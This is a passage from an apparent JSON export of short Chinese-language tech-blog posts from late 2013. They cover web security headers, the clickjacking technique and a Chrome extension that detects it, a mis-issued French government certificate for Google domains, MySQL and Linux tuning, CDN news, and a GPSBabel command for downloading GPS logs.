    "body": "還是在 <a href=\"http://www.zite.com/\">Zite</a> 上看到的，對最大的一百萬個網站分析與安全有關的 HTTP Header：「<a href=\"http://www.veracode.com/blog/2013/11/security-headers-on-the-top-1000000-websites-november-2013-report/\">Security Headers on the Top 1,000,000 Websites: November 2013 Report</a>」。\r\n\r\n數字大致上都有增加，不過對我來說的重點在於有列出所有與安全有關的 HTTP Header...\r\n\r\n<img src=\"//i.imgur.com/SfJb1Ht.png\" alt=\"\" />\r\n\r\n可以看到有這幾個：\r\n<ul>\r\n\t<li>Access-Control</li>\r\n\t<li>Content-Security-Policy</li>\r\n\t<li>Strict-Transport-Security</li>\r\n\t<li>X-Content-Security-Policy</li>\r\n\t<li>X-Frame-Options</li>\r\n\t<li>X-Webkit-CSP</li>\r\n</ul>\r\n剛好可以拿來 review 設定...",
    "title": "HTTP Header 裡與安全相關的 Header 的分析..."
  },
  {
    "id": "3910",
    "body": "在 <a href=\"http://cstheory.stackexchange.com/\">Theoretical Computer Science Stack Exchange</a> 上，有人問到有沒有哪些軟硬體的 source code 是可以跟學生說明某些經典演算法的重要性：「<a href=\"http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed\">Core algorithms deployed</a>」。\r\n\r\n下面就有人列了 <a href=\"https://www.kernel.org/\">Linux kernel</a> 內的演算法，以及對應的程式碼。相當長的一份列表...\r\n\r\n除了 Linux kernel 外，也還有其他大型 open source 專案用到的資料結構與演算法...\r\n\r\n不過看到 Bubble sort 是怎樣呢... XD",
    "title": "Linux kernel 內的資料結構與演算法..."
  },
  {
    "id": "3912",
    "body": "在舊金山參加 <a href=\"http://spark-summit.org/\">Spark Summit</a> 2013，結論：\r\n<ul>\r\n\t<li>所有用 <a href=\"http://spark.incubator.apache.org/\">Spark</a> 的公司或是單位都有共通的原因而改用 Spark：效能。其他提到的 feature 都不是真正一定要用 Spark 的原因。換 Spark 後可以多用這些 feature 是加分，但沒有也 ok，重點還是在效能。</li>\r\n\t<li>會發現幾乎所有人都用 <a href=\"http://www.scala-lang.org/\">Scala</a>，對其他語言的支援大多都還在發展。比較驚訝的是大家完全不想提 <a href=\"http://www.java.com/\">Java</a>... <a href=\"http://www.python.org/\">Python</a> 倒是還提過幾次 XD</li>\r\n</ul>\r\n所以只拿 Spark 當 MR-framework 也是很夠值得用的，如果要用 Streaming (Real-time processing) 的話，效能提升會更明顯。\r\n\r\n然後，不要想用其他程式語言，乖乖的用 Scala 吧...\r\n\r\n另外 Hadoop Streaming 跟 Spark Streaming 講的是不一樣的東西，在會場上講 Streaming 一般都講 Real-time processing，這點在會場的時候差點轉不過來 :o",
    "title": "Spark Summit 2013 第一天心得..."
  },
  {
    "id": "3918",
    "body": "從美國回來後開始整理還蠻空看的文章...\r\n\r\n在 <a href=\"http://www.percona.com/\">Percona</a> 的「<a href=\"http://www.mysqlperformanceblog.com/2013/12/03/innodb_stats_on_metadata-slow-queries-information_schema/\">innodb_stats_on_metadata and slow queries on INFORMATION_SCHEMA</a>」這篇看到 <code>innodb_stats_on_metadata</code> 這個值對 InnoDB 效能影響的討論。\r\n\r\n<blockquote>When the option is set to ON, InnoDB index statistics are updated when running SHOW TABLE STATUS, SHOW INDEX or when querying INFORMATION_SCHEMA.TABLES or INFORMATION_SCHEMA.STATISTICS.</blockquote>\r\n\r\n值得提出來的是，這個值在 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 內的 InnoDB 預設是關閉的，在 5.1 與 5.5 則是開啟的。這應該代表了官方的一些想法？不過看起來對一般的表格沒有影響...\r\n\r\n還是關掉好了？",
    "title": "innodb_stats_on_metadata 對效能的影響..."
  },
  {
    "id": "3921",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 十一月在倫敦辦的 <a href=\"http://www.percona.com/live/london-2013/\">Percona Live London 2013</a> 在「<a href=\"http://www.mysqlperformanceblog.com/2013/12/02/download-insightful-mysql-presentations-from-percona-live-london-2013/\">Download insightful MySQL presentations from Percona Live London 2013</a>」這邊可以看到各個 talk 的下載連結。\r\n\r\n裡面包括基礎與進階的都有，另外當然就夾雜著一些廣告性質的 talk :p\r\n\r\n剛剛先翻了一下，量好像有點多...",
    "title": "Percona 十一月在倫敦辦的 Percona Live London 2013 放出投影片了..."
  },
  {
    "id": "3923",
    "body": "<a href=\"http://www.verizon.com/\">Verizon</a> 已經放出消息要買下 <a href=\"http://www.edgecast.com/\">EdgeCast</a>：「<a href=\"http://newscenter.verizon.com/corporate/news-articles/2013/12-09-verizon-plans-to-acquire-edgecast-networks/\">Verizon Plans to Acquire EdgeCast Networks</a>」。\r\n\r\nVerizon 現在提供的 <a href=\"http://www.akamai.com/\">Akamai</a> 服務應該會被拿出來重新評估 (「<a href=\"http://www.verizonenterprise.com/solutions/public_sector/federal/contracts/networx/universal/products/content_delivery.xml\">Content Delivery Network</a>」這頁)，很有可能會在約滿後就不續約了？\r\n\r\n另外一方面，EdgeCast 被併入大公司後能夠發展到什麼程度呢...",
    "title": "Verizon 打算買下 EdgeCast..."
  },
  {
    "id": "3925",
    "body": "<a href=\"http://xkcd.com/\">xkcd</a> 上看到「<a href=\"http://xkcd.com/1301/\">File Extensions</a>」：\r\n\r\n<img src=\"//i.imgur.com/N5POBjg.png\" alt=\"\" />\r\n\r\n<code>.tex</code> 是怎樣 XDDDDDDD\r\n\r\n另外 <code>.jpeg</code> 與 <code>.gif</code>... XDDDDDDDD",
    "title": "依照經驗，副檔名所代表的可信度..."
  },
  {
    "id": "3928",
    "body": "在 <a href=\"http://gene.speaking.tw/\">Gene</a> 寫的「<a href=\"http://gene.speaking.tw/2013/12/blog-post.html\">如何在你不知情被自動加入粉絲團的秘技, 以 \"粉你的\" 作示範</a>」這篇裡面用到的技巧叫做 <a href=\"https://en.wikipedia.org/wiki/Clickjacking\">Clickjacking</a> (<a href=\"https://zh.wikipedia.org/wiki/%E7%82%B9%E5%87%BB%E5%8A%AB%E6%8C%81\">點擊劫持</a>)。\r\n\r\nFacebook 有給出「<a href=\"https://www.facebook.com/help/103840806372798\">What is clickjacking?</a>」的說明，不過相當白話 (而且沒有幫助 Orz)。\r\n\r\n技術上的解釋是，其中一種實作是在要點擊的對象上加上一層「透明的」DOM 物件，當 click 時就會點到該物件。目前最常見的是 Facebook 的 Like 按鈕。(i.e. Gene 寫的那篇)\r\n\r\n在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上可以用「<a href=\"https://chrome.google.com/webstore/detail/clickjacking-reveal/ecillfeckjnmpgfdabblnebhibndmnho\">Clickjacking Reveal</a>」這個套件：\r\n\r\n<blockquote>This extension tries to warn you if it found clickjacking technique on the page you are viewing.\r\n\r\nTired because of webpage tricks you into clicking social network buttons? This extension will try to detect those hidden bad buys and force them to show themselves.</blockquote>\r\n\r\n效果是這樣：(範例出自「<a href=\"http://www.funnid.com/HXUFfbab\" rel=\"nofollow\">胖妞變身大美女　甩肉４０斤練出腹肌</a>」這篇)\r\n\r\n<img src=\"//i.imgur.com/RUzHvhY.gif\" alt=\"\" />",
    "title": "Google Chrome 上預防 Clickjacking 的套件..."
  },
  {
    "id": "3930",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的人針對 <a href=\"http://www.linux.org/\">Linux</a> 平台跑 <a href=\"http://dev.mysql.com/\">MySQL</a> 的建議：「<a href=\"http://www.mysqlperformanceblog.com/2013/12/07/linux-performance-tuning-tips-mysql/\">Linux performance tuning tips for MySQL</a>」。\r\n\r\n檔案系統方面建議用 <a href=\"https://ext4.wiki.kernel.org/\">ext4</a> 或是 <a href=\"http://xfs.org/\">xfs</a>，記得要用 <code>noatime</code>。(我建議再加上 <code>nodiratime</code>)\r\n\r\n然後 i/o schedular 建議用 deadline 或是 noop，這點可以參考之前寫的「<a href=\"http://blog.gslin.org/archives/2013/10/11/3733/%E9%97%9C%E6%96%BC-linux-%E7%9A%84-disk-io-%E8%AA%BF%E6%95%B4/\">關於 Linux 的 Disk I/O 調整...</a>」。\r\n\r\n記憶體的部份要處理 swap 與 NUMA 的控制，然後 CPU 的部份要把自動調整速度的功能關掉 (可以省電，不過對忙碌的資料庫應該用不到)。\r\n\r\n看起來是比較一般性的方向，不過應該是蠻好用的建議 :p",
    "title": "Percona 提供 Linux 平台上 MySQL server 調整的參數..."
  },
  {
    "id": "3932",
    "body": "<a href=\"http://aws.amazon.com/autoscaling/\">Auto Scaling</a> 這功能總算可以透過 <a href=\"http://aws.amazon.com/\">AWS</a> 網頁管理界面設定管理了：「<a href=\"http://aws.typepad.com/aws/2013/12/aws-management-console-auto-scaling-support.html\">AWS Management Console - Auto Scaling Support</a>」。\r\n\r\n<img src=\"//i.imgur.com/F37LQa5.png\" alt=\"\" />\r\n\r\n這等幾年了啊... XD",
    "title": "AWS 網頁管理界面提供 Auto Scaling 了..."
  },
  {
    "id": "3934",
    "body": "<a href=\"http://creativecommons.org/\">Creative Commons</a> 翻新了：「<a href=\"http://creativecommons.org/version4\">What’s New in 4.0</a>」，在「<a href=\"http://creativecommons.tw/blog/20131127\">新一代的授權方式－創用CC授權 4.0 與大家見面！</a>」這篇文章有把原文的重點翻譯出來。\r\n\r\n<img src=\"//i.imgur.com/uReWwsd.png\" alt=\"\" />\r\n<small>出自「<a href=\"http://creativecommons.org/examples\">Examples of Creative Commons License Use</a>」。</small>\r\n\r\n「<a href=\"http://creativecommons.org/licenses/\">About The Licenses</a>」可以看到所有的 CC license (不包含 Public Domain 的部份)，從最寬鬆的 <a href=\"http://creativecommons.org/licenses/by/4.0/\">CC BY</a> 到最嚴格的 <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\">CC BY-NC-ND</a>。\r\n\r\n另外「<a href=\"http://wiki.creativecommons.org/RDFa\">RDFa</a>」這邊則提供了以機械表示的方式，不過範例是 3.0 的版本，依樣畫葫蘆就可以搞定 4.0 了 :p",
    "title": "Creative Commons 4.0"
  },
  {
    "id": "3936",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 裡面有放一段 SSL 白名單 (<a href=\"https://chromium.googlesource.com/chromium/src/net/+/master/http/transport_security_state_static.json\">transport_security_state_static.json</a>)，針對某些特定 domain 只允許特定的 CA 所發出來的 SSL 憑證，另外當發現異常時也會回報。\r\n\r\n這個機制可以保證在白名單內的網域比較不容易被 CA 搞到。\r\n\r\n前幾天 Google 偵測到法國政府 <a href=\"http://www.ssi.gouv.fr/\">ANSSI</a> 的一個中介憑證發行單位 (Intermediate certificate authorities) 發出 Google 所擁有網域的 SSL 憑證：「<a href=\"http://googleonlinesecurity.blogspot.com/2013/12/further-improving-digital-certificate.html\">Further improving digital certificate security</a>」。\r\n\r\n這也是繼一年前 <a href=\"https://www.turktrust.com.tr/\">TURKTRUST</a> 發出的 <code>*.google.com</code> 以來再次被這個機制抓到的案例：「<a href=\"http://blog.gslin.org/archives/2013/01/06/3114/\">這次 TURKTRUST 誤發 *.google.com SSL 憑證...</a>」。\r\n\r\n同時，這也是首次政府機關相關的 CA 搞 MITMA (<a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\">Man-in-the-middle attack</a>)。\r\n\r\nANSSI 官方的說法是「誤發」：「<a href=\"http://www.ssi.gouv.fr/en/the-anssi/events/revocation-of-an-igc-a-branch-808.html\">Revocation of an IGC/A branch</a>」，不過可信度... XD\r\n\r\nGoogle 後來在 12/12 再次更新公告文章，決定把 ANSSI 的 CA 信任範圍限縮到法國相關的網域，共 13 個。(<code>*.fr</code>、<code>*.gp</code>、<code>*.gf</code>、...)\r\n\r\n另外可以參考 <a href=\"http://www.mozilla.org/\">Mozilla</a> 在收到 Google 通知後的公告：「<a href=\"https://blog.mozilla.org/security/2013/12/09/revoking-trust-in-one-anssi-certificate/\">Revoking Trust in one ANSSI Certificate</a>」。",
    "title": "法國政府 ANSSI 偽造 Google 的 SSL 憑證被抓到..."
  },
  {
    "id": "3938",
    "body": "前幾天看到的「<a href=\"https://github.com/KartikTalwar/gmail.js\">Gmail.js - JavaScript API for Gmail</a>」，這並不是 <a href=\"https://www.google.com/\">Google</a> 官方的 JavaScript API，而是給開發瀏覽器套件的人用的 JavaScript API。\r\n\r\n甚至有給範例，讓你可以透過 Chrome Console 嘗鮮：\r\n\r\n<img src=\"//i.imgur.com/iBD10MU.jpg\" alt=\"\" />\r\n\r\n看文件發現比較特別的是提供了 Observe 的功能，可以抓到 Gmail 的事件 :p",
    "title": "Gmail.js"
  },
  {
    "id": "3940",
    "body": "<a href=\"http://chrishateswriting.com/\">Chris Poole</a> (<a href=\"http://www.4chan.org/\">4chan</a> 的創辦人) 寫了一篇「<a href=\"http://chrishateswriting.com/post/68794699432/small-things-add-up\">Small things add up</a>」，說明針對前端頁面的調整帶來的效能改善...\r\n\r\n在 <a href=\"http://developer.yahoo.com/yslow/\">YSlow</a> 與 <a href=\"https://developers.google.com/speed/pagespeed/insights_extensions\">PageSpeed</a> 都反應靜態內容 (像是圖片) 是從帶有 cookie 的 domain (<code>4chan.org</code>) 提供服務。\r\n\r\n所以 Chris Poole 打算把靜態內容換到一個新的網域下。\r\n\r\n首先是選擇新的 cookie-free domain 名稱，由於不需要好記 (因為是程式在用)，所以在選擇時愈短愈好，這可以讓 html 內的大小會少一些 (即使是 gzip 後還是有差)，所以 Chris Poole 選擇了 <code>4cdn.org</code>。\r\n\r\n而更大的改善其實是在 cookie 這塊。4chan 平均的 cookie 大小大約是 1KB，這表示每一個到 <code>4chan.org</code> 的 request 都要送出 1KB 的 cookie 資訊。對於行動用戶來說，上傳的頻寬就這樣被浪費掉了，在搬移到新的 <code>4cdn.org</code> 後可以省下大量的上傳頻寬：\r\n\r\n<blockquote>By migrating to the new domain, end users now save roughly 100 KB upstream per page load, which at 500 million pageviews per month adds up to 46 terabytes per month in savings for our users. I find this unreal.</blockquote>",
    "title": "4chan 前端頁面的調校... (cookie-free domain 的重要性)"
  },
  {
    "id": "3942",
    "body": "<a href=\"https://mail.google.com/\">Gmail</a> 與 <a href=\"https://www.google.com/calendar/\">Google Calendar</a> 的資料可以透過 <a href=\"https://www.google.com/settings/takeout\">Google Takeout</a> 下載了：「<a href=\"http://gmailblog.blogspot.com/2013/12/download-copy-of-your-gmail-and-google.html\">Download a copy of your Gmail and Google Calendar data</a>」。\r\n\r\n下載的格式是 <a href=\"http://en.wikipedia.org/wiki/Mbox\">mbox</a> 與 <a href=\"https://en.wikipedia.org/wiki/ICalendar\">iCalendar</a>。\r\n\r\n<img src=\"//i.imgur.com/bDcI7vR.png\" alt=\"\" />\r\n\r\n所以是一個 10GB+ 的 mbox 嗎... XD",
    "title": "下載 Gmail 與 Google Calendar 的資料... (mbox 與 iCalendar 格式)"
  },
  {
    "id": "3944",
    "body": "在 <a href=\"http://www.hhvm.com/\">HHVM</a> 官方的 blog 上看到 2.3.0 的消息：「<a href=\"http://www.hhvm.com/blog/2393/hhvm-2-3-0-and-travis-ci\">HHVM 2.3.0 and Travis CI</a>」。\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/facebook/hhvm/wiki/FastCGI\">FastCGI</a>」這頁就有提到要怎麼透過 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 界面跟 <a href=\"http://httpd.apache.org/\">Apache</a> 配合，熟悉 <a href=\"http://nginx.org/\">nginx</a> 的人也應該可以輕鬆對應過去。\r\n\r\n另外一個重要的事情是 <a href=\"https://travis-ci.org/\">Travis CI</a> 支援 HHVM 了，可以看到大量的專案加上 HHVM 測試：<a href=\"https://github.com/yiisoft/yii/pull/3109\">Yii</a>、<a href=\"https://github.com/codeguy/Slim/pull/698\">Slim</a>、<a href=\"https://github.com/phpbb/phpbb/pull/1932\">phpBB</a>、<a href=\"https://github.com/joomla/joomla-cms/pull/2677\">Joomla</a>、<a href=\"https://github.com/doctrine/doctrine2/pull/873\">Doctrine</a>、<a href=\"https://github.com/EllisLab/CodeIgniter/pull/2766\">CodeIgniter</a>、<a href=\"https://github.com/j4mie/idiorm/pull/168\">Idiorm</a>、<a href=\"https://github.com/sebastianbergmann/phpunit/pull/1072\">PHPUnit</a>、<a href=\"https://github.com/j4mie/paris/pull/81\">Paris</a>。\r\n\r\n既然支援 FastCGI 了，來找機會測試看看...",
    "title": "HHVM 2.3.0 支援 FastCGI..."
  },
  {
    "id": "3946",
    "body": "雖然也不怎麼意外了，不過看到還是想要碎碎唸一下...\r\n\r\n<a href=\"http://www.nsa.gov/\">NSA</a> 每天從「全世界的」基地台蒐集五十億筆資料：「<a href=\"http://mobile.slashdot.org/story/13/12/05/1419251/nsa-tracking-cellphone-locations-worldwide\">NSA Tracking Cellphone Locations Worldwide</a>」。\r\n\r\n<img src=\"//i.imgur.com/hbPZggI.gif\" alt=\"\" />\r\n\r\n全世界啊... 感覺 <a href=\"http://hadoop.apache.org/\">Hadoop</a> 之類的 big data 技術論壇找 NSA 很有看頭啊 @_@\r\n\r\n<strong>Update</strong>：有人給了模擬案例了「<a href=\"https://www.aclu.org/meet-jack-or-what-government-could-do-all-location-data\">Meet Jack. Or, What The Government Could Do With All That Location Data</a>」：\r\n\r\n<img src=\"//i.imgur.com/Qzsy4U7.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/N3Bhjb4.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/LjfxL1A.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/f5INT4I.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/0lqglFW.png\" alt=\"\" />",
    "title": "NSA 每天從全世界的基地台蒐集行動電話資料，所以全民公敵裡演的都是真的嘛..."
  },
  {
    "id": "3948",
    "body": "在「<a href=\"http://hardware.slashdot.org/story/13/12/07/011250/create-your-own-bullet-time-camera-rig-with-raspberry-pi\">Create Your Own Bullet Time Camera Rig With Raspberry Pi</a>」看到的，用了 48 組 Type B 的 <a href=\"http://www.raspberrypi.org/\">Raspberry Pi</a> 與相機，然後用 <a href=\"http://www.python.org/\">Python</a> 寫控制程式：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"//www.youtube.com/embed/IqoA4HeBCQ4\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n<img src=\"//i.imgur.com/SEjoKJL.jpg\" alt=\"\" />",
    "title": "用 Raspberry Pi 的相機拍攝「子彈時間」效果..."
  },
  {
    "id": "3950",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 ChaCha20-Poly1305 將被移植到 <a href=\"http://www.openssh.com/\">OpenSSH</a> 上：「<a href=\"http://it.slashdot.org/story/13/12/11/173213/openssh-has-a-new-cipher-chacha20-poly1305-from-dj-bernstein\">OpenSSH Has a New Cipher — Chacha20-poly1305 — from D.J. Bernstein</a>」。\r\n\r\n上個月 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 決定在 32 版 (現在 31 版了) 要支援 ChaCha20-Poly1305 (參考「<a href=\"http://blog.gslin.org/archives/2013/11/15/3858/google-%E5%B0%8D%E5%9B%9B%E5%80%8B-cipher-%E7%9A%84%E5%88%86%E6%9E%90-%E4%BB%A5%E5%8F%8A-chacha20-poly1305/\">Google 對四個 Cipher 的分析... (以及 ChaCha20-Poly1305)</a>」)，這個月 OpenSSH 就打算要跟進了...\r\n\r\n提案人 <a href=\"http://blog.djm.net.au/\">Damien Miller</a> 在 blog 上提到為什麼他想將 ChaCha20-Poly1305 移植到 OpenSSH 上的原因 (「<a href=\"http://blog.djm.net.au/2013/11/chacha20-and-poly1305-in-openssh.html\">ChaCha20 and Poly1305 in OpenSSH</a>」)，主要是因為 AES-GCM 與 Encrypt-then-MAC 都必須傳輸 plaintext 的長度，這點讓人很不舒服。另外一個是 AES-GCM 的效能一直都是個議題。\r\n\r\nChaCha20-Poly1305 以 stream cipher 企圖同時解決這兩個問題，接下來就是看時間考驗了...",
    "title": "ChaCha20-Poly1305 將被移植到 OpenSSH 上..."
  },
  {
    "id": "3954",
    "body": "在「<a href=\"http://minireference.com/blog/linear-algebra-tutorial/\">Linear algebra tutorial in four pages</a>」這邊看到，先是回想之前大學學過的線性代數，好像不太可能用四頁搞定啊...\r\n\r\n看了 PDF 後發現只講了最簡單以及一些實際應用，比較複雜的部份就沒有講了... 不過對於已經忘光的人拿來復健應該還是很有用... XD\r\n\r\n不過如果以這種寫法，十頁說不定有機會把更複雜的部份寫完？像是比較長的 cheatsheet...",
    "title": "四頁 PDF 介紹線性代數..."
  },
  {
    "id": "3956",
    "body": "<a href=\"http://news.netcraft.com/\">Netcraft</a> 這篇「<a href=\"http://news.netcraft.com/archives/2013/12/11/digitalocean-now-growing-faster-than-amazon.html\">DigitalOcean now growing faster than Amazon</a>」說 <a href=\"http://www.digitalocean.com/\">Digital Ocean</a> 的成長速度超越 <a href=\"http://aws.amazon.com/\">AWS</a>，不過因為 Netcraft 主要是看 web 的部份，我是覺得講得有點誇大...\r\n\r\n<img src=\"//i.imgur.com/qlvYxwK.png\" alt=\"\" />\r\n\r\n不過比較可以確定的是，Digital Ocean 的確成長很快。氣勢上已經掩蓋掉 <a href=\"http://www.linode.com/\">Linode</a>...",
    "title": "Digital Ocean 的成長速度跟 Amazon Web Services 有拼..."
  },
  {
    "id": "3958",
    "body": "這是從中華機房內對 <a href=\"http://www.adobe.com/\">Adobe</a> 字體服務 <code>use.edgefonts.net</code> 的 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a> 資料 (Adobe 用 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 的 CDN 服務)，可以發現十一月底的時候 latency 從 20ms+ 降到 10ms 以下 (大約是 8ms，應該是南部的機房)：\r\n\r\n<img src=\"//i.imgur.com/K0Cg8GC.png\" alt=\"\" />\r\n\r\n對於北部使用者，8ms 還是比 <a href=\"http://www.akamai.com/\">Akamai</a> 高一些，不過比起以前香港機房的 20ms+ 好多了...",
    "title": "EdgeCast 在台灣有 PoP 了..."
  },
  {
    "id": "3960",
    "body": "<a href=\"http://www.jetblue.com/\">JetBlue</a> 將會透過衛星轉接，提供機上乘客 WiFi 服務：「<a href=\"http://tech.slashdot.org/story/13/12/12/2321203/jetblue-launches-satellite-based-inflight-wi-fi\">JetBlue Launches Satellite-Based Inflight Wi-Fi</a>」。\r\n\r\n原始報導「<a href=\"http://www.orlandosentinel.com/business/blog/tourism-central/os-jetblue-high-speed-wi-fi-20131212,0,43438.story\">JetBlue launches high-speed wi-fi during flights</a>」內有提到價位是 USD$9/hr：\r\n\r\n<blockquote>The airline will also offer a live video streaming high-bandwidth plan called Fly-Fi Plus for applications like streaming movies. It costs $9 per hour.</blockquote>\r\n\r\nhmmm...",
    "title": "捷藍 (JetBlue) 將透過衛星提供 WiFi 給機上乘客..."
  },
  {
    "id": "3962",
    "body": "<a href=\"http://www.cisco.com/\">Cisco</a> 在十月宣佈的 Open source H.264 codec 已經在 <a href=\"https://github.com/\">GitHub</a> 上放出來了：「<a href=\"https://github.com/cisco/openh264/\">Open Source H.264 Codec</a>」，這個實作包括了 encoder 與 decoder。\r\n\r\n用的是 <a href=\"http://opensource.org/licenses/BSD-2-Clause\">BSD 2-Clause License</a>：「<a href=\"https://github.com/cisco/openh264/blob/master/LICENSE\">LICENSE</a>」。\r\n\r\n目前的支援度：(直接複製 OS Support 這段)\r\n<ul>\r\n\t<li>Windows 64-bit and 32-bit (initial release is only 32-bit, 64-bit will follow soon)</li>\r\n\t<li>Mac OS X 64-bit (initial release does not include this target, will follow soon)</li>\r\n\t<li>Linux 64-bit and 32-bit (initial release is only 32-bit, 64-bit will follow soon)</li>\r\n\t<li>Android 32-bit (initial release does not include this target, will follow soon)</li>\r\n\t<li>iOS 64-bit and 32-bit (not supported yet, may be added in the future)</li>\r\n</ul>\r\n看起來目前只支援桌機上的 32bits...\r\n\r\n然後已知的問題：(複製 Known Issues 這段)\r\n<ul>\r\n\t<li>Encoder errors when resolution exceeds 3840x2160</li>\r\n\t<li>Encoder errors when compressed frame size exceeds half uncompressed size</li>\r\n\t<li>Encoder console app only support multiple of 16 width/height for now</li>\r\n\t<li>Decoder errors when compressed frame size exceeds 1MB</li>\r\n</ul>\r\n反正就繼續看著辦？",
    "title": "Cisco 的 H.264 實作放出來了..."
  },
  {
    "id": "3965",
    "body": "<a href=\"http://www.opus-codec.org/\">Opus</a> 是個 royalty-free 的 audio codec，據官方說法是個多用途的 codec (而且表現都很好)：\r\n\r\n<img src=\"//i.imgur.com/8pf75dr.png\" alt=\"\" />\r\n\r\n前幾天 Opus 終於釋出 1.1 版 (1.0 版已經是一年前的事情)：「<a href=\"http://linux.slashdot.org/story/13/12/06/1721239/opus-11-released\">Opus 1.1 Released</a>」。\r\n\r\n這個版本在 <a href=\"http://www.arm.com/\">ARM</a> 上的效能大幅提昇 (包括了壓縮與解壓縮)，很明顯是針對行動裝置的改善：「<a href=\"http://lists.xiph.org/pipermail/opus/2013-December/002419.html\">[opus] Opus 1.1 released</a>」。\r\n\r\n不過好像都沒看到 bitrate 夠高時的比較...",
    "title": "Opus 1.1 釋出..."
  },
  {
    "id": "3967",
    "body": "引用<a href=\"http://www.caltech.edu/\">加州理工學院</a>的「<a href=\"http://www.caltech.edu/content/caltech-announces-open-access-policy\">Caltech Announces Open Access Policy</a>」開頭：\r\n\r\n<blockquote>On January 1, 2014, a new open-access policy for faculty's scholarly writings will take effect at the California Institute of Technology (Caltech). According to this policy, approved by the faculty at their June 10 meeting, all faculty members will automatically grant nonexclusive rights to the Institute to disseminate their scholarly papers, making wider distribution of their work possible and eliminating confusion about copyright when posting research results on Caltech's websites.</blockquote>\r\n\r\n正式決議並公告，讓研究員 (包含教授與學生) 可以很自由的在自己的頁面上放自己的研究 (論文或是文章)。\r\n\r\n愈來愈多學術單位往這類公開政策邁進...",
    "title": "加州理工學院對於學術研究的公開公告"
  },
  {
    "id": "3970",
    "body": "在 <a href=\"http://24h.pchome.com.tw/\">24h</a> 上買了這顆「<a href=\"http://www.globalsat.com.tw/tw/products-page.php?menu=2&amp;gs_tw_product_id=6&amp;gs_tw_product_cnt_id=55\">DG-100 GPS 數據紀錄器</a>」，然後在 <a href=\"http://www.virtualbox.org/\">VirtualBox</a> 裡吃鱉了好幾次，所以還是整理一下，讓之後的人比較好辦事 XD\r\n\r\n用過的兩顆 GPS logger 都是用 <a href=\"http://www.prolific.com.tw/\">Prolific</a> 的 PL2303 系列晶片，透過 Serial port 的架構溝通，所以 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下會抓到 <code>/dev/ttyUSB0</code> 這種界面。\r\n\r\n由於我的目的比較簡單，只要可以抓 <a href=\"https://zh.wikipedia.org/wiki/GPX\">gpx</a> 資訊給我就好，後來在 <a href=\"http://www.openstreetmap.org/\">OpenStreetMap</a> 的 wiki 上找到「<a href=\"http://wiki.openstreetmap.org/wiki/Globalsat\">Globalsat</a>」的資訊，發現了 <a href=\"http://www.gpsbabel.org/\">GPSBabel</a> 這個軟體可以直接在 <a href=\"http://www.apple.com/osx/\">Mac OS X</a> 與 <a href=\"http://www.linux.org/\">Linux</a> 下抓 DG-100 的資料：\r\n\r\n<code>gpsbabel -i dg-100,erase=0 -f /dev/ttyUSB0 -o gpx -F \"track.gpx\"</code>\r\n\r\n(話說 GPSBabel 的網站感覺回到十年前...)\r\n\r\n看指令，如果指定 <code>erase=1</code> 的話就會清掉記錄？另外在 Mac OS X 下則是指定 <code>/dev/cu.PL2303</code> 開頭的 device。\r\n\r\n抓下來以後丟到 <a href=\"https://www.dropbox.com/\">Dropbox</a>，然後到<a href=\"https://itunes.apple.com/tw/app/shi-jie-mi-wu/id505367096?l=zh\">世界迷霧</a>裡更新，發現就算是已經跑到爛掉的路線，GPS logger 仍然可以記錄到 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 記錄不到的...",
    "title": "GPS logger：環天的 DG-100..."
  },
  {
    "id": "3973",
    "body": "剛剛發現 <a href=\"http://24h.pchome.com.tw/\">PChome 24h</a> 的送貨條件多了六小時的部份：\r\n\r\n<img src=\"//i.imgur.com/K7jqvBo.png\" alt=\"\" />\r\n\r\n<ul>\r\n\t<li>台北市6h到貨(試營運)；全台灣24h到貨，全年無休，週末假日照常出貨</li>\r\n\t<li>台北市6h到貨(試營運)晚上21：00～上午8：00的時段不列入到貨時間計算</li>\r\n\t<li>全台灣24h到貨，非北北基晚上22:00~10:00間下單、離島、收貨人資訊不完整、新客、安裝商品、ATM、ibon付款、超商取貨付款、遇天災、公共工程、系統設備維護、倉儲調整或盤點等不在此限</li>\r\n</ul>\r\n\r\n<a href=\"http://www.asap.com.tw/\">ASAP</a> 的壓力？",
    "title": "PChome 24h 的送貨時間條件也開始玩六小時了..."
  },
  {
    "id": "3975",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 機房多了三個 PoP，分別是菲律賓的馬尼拉、法國的馬賽、波蘭的華沙：「<a href=\"http://aws.typepad.com/aws/2013/12/three-more-cloudfront-locations.html\">Three More CloudFront / Route 53 Locations - Manila, Marseille, and Warsaw</a>」，所以 <a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 與 <a href=\"http://aws.amazon.com/route53/\">Amazon Route53</a> 也多了這三個機房。\r\n\r\n馬尼拉的頻寬費用以及 request 費用與香港相同，實際用 pinger.unimas.my 測發現好像不是連到菲律賓的機房：\r\n\r\n<pre>Executing exec(ping, -c 5 -s 56, 54.230.158.85)\r\nPING 54.230.158.85 (54.230.158.85) 56(84) bytes of data.\r\n64 bytes from 54.230.158.85: icmp_req=1 ttl=53 time=44.3 ms\r\n64 bytes from 54.230.158.85: icmp_req=2 ttl=53 time=60.5 ms\r\n64 bytes from 54.230.158.85: icmp_req=3 ttl=53 time=60.6 ms\r\n64 bytes from 54.230.158.85: icmp_req=4 ttl=53 